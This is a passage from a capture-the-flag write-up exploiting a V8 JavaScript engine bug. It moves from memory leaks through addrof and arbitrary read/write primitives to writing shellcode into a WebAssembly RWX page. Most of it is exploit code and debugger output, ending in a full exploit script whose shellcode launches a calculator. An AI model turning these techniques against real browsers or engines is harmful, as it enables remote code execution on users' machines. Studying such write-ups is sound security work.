}
- elements: 0x3aa70850024d <FixedArray[1]> {
0: 0x3aa708500215 <Object map = 0x3aa7081c3759>
}
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
d8> %DebugPrint(aux_float_arr)
DebugPrint: 0x3aa7085002b9: [JSArray]
- map: 0x3aa7081c1891 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
- prototype: 0x3aa7081884a1 <JSArray[0]>
- elements: 0x3aa708500299 <FixedDoubleArray[3]> [PACKED_DOUBLE_ELEMENTS]
- length: 3
- properties: 0x3aa7080406e9 <FixedArray[0]> {
#length: 0x3aa708100165 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x3aa708500299 <FixedDoubleArray[3]> {
0: 1.1
1: 2.2
2: 3.3
}
|
Looking in the elements memory of our writer
array (previosly named a
):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
gef➤ x/40gx 0x3aa70850019d-1
0x3aa70850019c: 0x0000001008040489 0x0000000000000000
0x3aa7085001ac: 0x080406e9081c04e1 0x0850016d0850019d
0x3aa7085001bc: 0x0000000000000000 0x0000000000000008
0x3aa7085001cc: 0x00000000000000ff 0x00003aa700000007
0x3aa7085001dc: 0x000000000850019d 0x0000000000000000
0x3aa7085001ec: 0x0804055100000000 0x0000001762582626
0x3aa7085001fc: 0x5f78756120726176 0x227b203d206a626f
0x3aa70850020c: 0x003b7d31203a2261 0x080406e9081c3759
0x3aa70850021c: 0x00000002080406e9 0xe580f72608040551
0x3aa70850022c: 0x207261760000001c 0x5f6a626f5f787561
0x3aa70850023c: 0x615b203d20727261 0x3b5d6a626f5f7875
0x3aa70850024c: 0x00000002080404b1 0x081c18e108500215
0x3aa70850025c: 0x0850024d080406e9 0x0804055100000002
0x3aa70850026c: 0x0000002485bc6b86 0x5f78756120726176
0x3aa70850027c: 0x72615f74616f6c66 0x312e315b203d2072
0x3aa70850028c: 0x33202c322e32202c 0x08040a153b5d332e
0x3aa70850029c: 0x9999999a00000006 0x9999999a3ff19999
0x3aa7085002ac: 0x6666666640019999 0x081c1891400a6666
0x3aa7085002bc: 0x08500299080406e9 0x0804055100000006
0x3aa7085002cc: 0x0000001ac7a7944e 0x662e726574697277
|
Look what we found! We found the map compressed addresses 081c18e1
(offset 0x84
) and 081c1891
(offset 0xb4
).
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
|
var writer = new Uint8Array(8);
var aux_obj = {"a": 1};
var aux_obj_arr = [aux_obj];
var aux_float_arr = [1.1, 2.2, 3.3];
writer.fill(0xff, 40, 41);
var isolate_root = BigInt((writer[0x35] << 8) + writer[0x34]);
isolate_root = isolate_root << 32n;
console.log("[+] Isolate root: 0x" + isolate_root.toString(16))
function read32offset(idx, compressed = true) {
if(compressed)
var result = isolate_root;
else
var result = 0n;
for(let i = 0; i < 4; i++)
result += BigInt(writer[idx + i] << (8 * i));
if(compressed)
return BigInt.asUintN(64, result - 1n);
else
return BigInt.asUintN(32, result);
}
var obj_arr_map = read32offset(0x84);
var float_arr_map = read32offset(0xb4);
console.log("[+] Object array map: 0x" + obj_arr_map.toString(16));
console.log("[+] Float array map: 0x" + float_arr_map.toString(16));
|
Result:
1
2
3
4
|
root@4ebb4cd39fc5:~/pwn/chromatic_aberration/bin# ./d8 ../pwn/pwn.js
[+] Isolate root: 0x19c800000000
[+] Object array map: 0x19c8081c18e0
[+] Float array map: 0x19c8081c1890
|
With those primitives at hand, gaining arbitrary memory read/write becomes as easy as
- Creating two ArrayBuffers,
ab1
and ab2
- Leaking the address of
ab2
- Corrupting the backingStore pointer of ab1 to point to
ab2
Yielding the following situation:
1
2
3
4
5
6
7
8
9
10
11
|
+-----------------+ +-----------------+
| ArrayBuffer 1 | +---->| ArrayBuffer 2 |
| | | | |
| map | | | map |
| properties | | | properties |
| elements | | | elements |
| byteLength | | | byteLength |
| backingStore --+-----+ | backingStore |
| flags | | flags |
+-----------------+ +-----------------+
|
Afterwards, arbitrary addresses can be accessed by overwriting the
backingStore pointer of ab2
by writing into ab1
and subsequently reading from or writing to ab2
.
We will use the following piece of code in the next steps to perform the type confussion and leak the address of any object we pass to the function.
1
2
3
4
5
6
7
|
function addrof(obj) {
aux_obj_arr[0] = obj;
write32offset(0x84, float_arr_map + 1n);
let addr = aux_obj_arr[0];
write32offset(0x84, obj_arr_map + 1n);
return isolate_root + ftoi(addr) - 1n;
}
|
Getting RWX page
One of the things we need to achieve is having a RWX (Read-Write-Execution) page where we will place our shellcode and execute it.
One of the possible ways to get an RWX page in v8 is to use WebAssembly. If you create a valid WASM instance, it will allocate an RWX page whose address can be leaked with out primitives. Let’s first create a WASM page. Note that the WASM code used doesn’t matter so long as it compiles and creates an RWX page for us, we simply need to create a valid instance, for example, with the following code:
1
2
3
|
int main() {
return 0;
}
|
1
2
3
4
5
6
7
8
9
|
(module
(table 0 anyfunc)
(memory $0 1)
(export "memory" (memory $0))
(export "main" (func $main))
(func $main (; 0 ;) (result i32)
(i32.const 0)
)
)
|
1
2
3
4
5
6
7
8
9
|
// https://wasdk.github.io/WasmFiddle/
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,
130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,
128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,
128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,
0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,0,11]);
var wasm_mod = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_mod);
var pwn = wasm_instance.exports.main;
|
This Javascript code using WASM will generate an RWX page where the assembly code from WASM will be stored an could be executed by assigning the main
function to a variable.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
|
gef➤ vmmap
[ Legend: Code | Heap | Stack ]
Start End Offset Perm Path
...
0x0000047e08200000 0x0000047e08280000 0x0000000000000000 rw-
0x0000047e08280000 0x0000047f00000000 0x0000000000000000 ---
0x00003275a7bd4000 0x00003275a7bd5000 0x0000000000000000 rwx <-- WASM page
0x0000555555554000 0x0000555555c8c000 0x0000000000000000 r-- /home/lab/Desktop/CTF/...
0x0000555555c8c000 0x000055555695b000 0x0000000000737000 r-x /home/lab/Desktop/CTF/...
0x000055555695b000 0x00005555569be000 0x0000000001405000 r-- /home/lab/Desktop/CTF/...
0x00005555569be000 0x00005555569c9000 0x0000000001467000 rw- /home/lab/Desktop/CTF/...
0x00005555569c9000 0x0000555556ab3000 0x0000000000000000 rw- [heap]
0x00007ffd70000000 0x00007ffdf0000000 0x0000000000000000 ---
0x00007ffdf0000000 0x00007ffdf0010000 0x0000000000000000 rw-
...
gef➤ x/2i 0x00003275a7bd4000
0x3275a7bd4000: jmp 0x3275a7bd42c0
0x3275a7bd4005: int3
gef➤ x/10i 0x3275a7bd42c0
0x3275a7bd42c0: push rbp
0x3275a7bd42c1: mov rbp,rsp
0x3275a7bd42c4: push 0xa
0x3275a7bd42c6: push rsi
0x3275a7bd42c7: xor eax,eax
0x3275a7bd42c9: mov rsp,rbp
0x3275a7bd42cc: pop rbp
0x3275a7bd42cd: ret
0x3275a7bd42ce: nop
0x3275a7bd42cf: nop
|
The next step is to calculate the offset between the RWX page and the WASM instance:
1
2
3
|
var rwx_gap = addrof(wasm_instance) + 0x78n - addrof(writer) - 0x8n;
var rwx = (read32offset(Number(rwx_gap) + 4, false) << 32n) + read32offset(Number(rwx_gap), false);
console.log("[+] RWX section: 0x" + rwx.toString(16));
|
Now that we have the RWX page address, we will need to corrupt (overwrite) the backstore pointer of an array buffer to point to this RWX page where we will place our shellcode.
1
2
3
4
5
6
7
8
9
10
11
|
+-----------------+ +-----------------+
| ArrayBuffer 1 | +---->| RWX PAGE |
| | | | |
| map | | | |
| properties | | | |
| elements | | | |
| byteLength | | | |
| backingStore --+-----+ | |
| flags | | |
+-----------------+ +-----------------+
|
1
2
3
4
5
6
7
|
var arr_buf = new ArrayBuffer(0x100);
var dataview = new DataView(arr_buf);
var back_store_gap = addrof(arr_buf) + 0x24n - addrof(writer) - 0x8n;
var back_store_addr = (read32offset(Number(back_store_gap) + 4, false) << 32n) + read32offset(Number(back_store_gap), false);
console.log("[+] Back store pointer: 0x" + back_store_addr.toString(16));
write64offset(back_store_gap, rwx);
|
Now we have overwritten the arr_buf
backstore pointer to the RWX page address. Now it’s time to write our shellcode into the RWX page, but before doing this, let’s explain a bit something we are using for writing the shellcode and its the object DataView
DataView
See [6].
Multi-byte number formats are represented in memory differently depending on machine architecture. DataView accessors provide explicit control of how data is accessed, regardless of the executing computer’s endianness.
For example:
1
2
3
4
5
|
var buffer = new ArrayBuffer(16);
var dv = new DataView(buffer, 0);
dv.setInt16(1, 42);
dv.getInt16(1); //42
|
We will be using the same concept to write our shellcode to the RWX page:
1
2
3
4
5
6
7
|
var shellcode=[0x90909090,0x90909090,0x782fb848,0x636c6163,0x48500000,0x73752fb8,0x69622f72,
0x8948506e,0xc03148e7,0x89485750,0xd23148e6,0x3ac0c748,0x50000030,0x4944b848,
0x414c5053,0x48503d59,0x3148e289,0x485250c0,0xc748e289,0x00003bc0,0x050f00];
for (let i = 0; i < shellcode.length; i++) {
dataview.setUint32(4 * i, shellcode[i], true);
}
|
The reason we write it in groups of 4 bytes, it’s because JavaScript does not currently include standard support for 64-bit integer values, DataView does not offer native 64-bit operations.
And finally, run the code:
1
2
|
console.log("[*] Spawning a calculator...");
pwn();
|
Final exploit:
See at: https://github.com/KaoRz/exploits_challenges/blob/master/chromatic_aberration/pwn.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
|
var writer = new Uint8Array(8);
var aux_obj = {"a": 1};
var aux_obj_arr = [aux_obj];
var aux_float_arr = [1.1, 2.2, 3.3];
var buf = new ArrayBuffer(8);
var f64_buf = new Float64Array(buf);
var u64_buf = new Uint32Array(buf);
function ftoi(val) {
f64_buf[0] = val;
return BigInt(u64_buf[0]);
}
writer.fill(0xff, 40, 43); // Overwrite Int8Array(8) length
var isolate_root = BigInt((writer[0x35] << 8) + writer[0x34]);
isolate_root = isolate_root << 32n;
console.log("[+] Isolate root: 0x" + isolate_root.toString(16))
function read32offset(idx, compressed = true) {
if(compressed)
var result = isolate_root;
else
var result = 0n;
for(let i = 0; i < 4; i++)
result += BigInt(writer[idx + i] << (8 * i));
if(compressed)
return BigInt.asUintN(64, result - 1n);
else
return BigInt.asUintN(32, result);
}
function write32offset(idx, data) {
for(let i = 0; i < 4; i++)
writer[idx + i] = Number(data >> (8n * BigInt(i))) & 0xff;
}
function write64offset(idx, data) {
let hi = (data & 0xffffffff00000000n) >> 32n;
let lo = data & 0x00000000ffffffffn;
write32offset(Number(idx), lo);
write32offset(Number(idx) + 4, hi);
}
var obj_arr_map = read32offset(0x84);
var float_arr_map = read32offset(0xb4);
console.log("[+] Object array map: 0x" + obj_arr_map.toString(16));
console.log("[+] Float array map: 0x" + float_arr_map.toString(16));
function addrof(obj) {
aux_obj_arr[0] = obj;
write32offset(0x84, float_arr_map + 1n);
let addr = aux_obj_arr[0];
write32offset(0x84, obj_arr_map + 1n);
return isolate_root + ftoi(addr) - 1n;
}
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,
130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,
128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,
128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,
0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,0,11]);
var wasm_module = new WebAssembly.Module(wasmCode);
var wasm_instance = new WebAssembly.Instance(wasm_module);
var pwn = wasm_instance.exports.main;
var rwx_gap = addrof(wasm_instance) + 0x78n - addrof(writer) - 0x8n;
var rwx = (read32offset(Number(rwx_gap) + 4, false) << 32n) + read32offset(Number(rwx_gap), false);
console.log("[+] RWX section: 0x" + rwx.toString(16));
var arr_buf = new ArrayBuffer(0x100);
var dataview = new DataView(arr_buf);
var back_store_gap = addrof(arr_buf) + 0x24n - addrof(writer) - 0x8n;
var back_store_addr = (read32offset(Number(back_store_gap) + 4, false) << 32n) + read32offset(Number(back_store_gap), false);
console.log("[+] Back store pointer: 0x" + back_store_addr.toString(16));
write64offset(back_store_gap, rwx);
var shellcode=[0x90909090,0x90909090,0x782fb848,0x636c6163,0x48500000,0x73752fb8,0x69622f72,
0x8948506e,0xc03148e7,0x89485750,0xd23148e6,0x3ac0c748,0x50000030,0x4944b848,
0x414c5053,0x48503d59,0x3148e289,0x485250c0,0xc748e289,0x00003bc0,0x050f00];
for (let i = 0; i < shellcode.length; i++) {
dataview.setUint32(4 * i, shellcode[i], true);
}
console.log("[*] Spawning a calculator...");
pwn();
|
References
[1] https://v8.dev/
[2] https://blog.infosectcbr.com.au/2020/02/pointer-compression-in-v8.html
[3] https://v8.dev/blog/pointer-compression
[4] https://v8.dev/blog/fast-properties
[5] http://phrack.org/papers/jit_exploitation.html
[6] https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/DataView
Recommended readings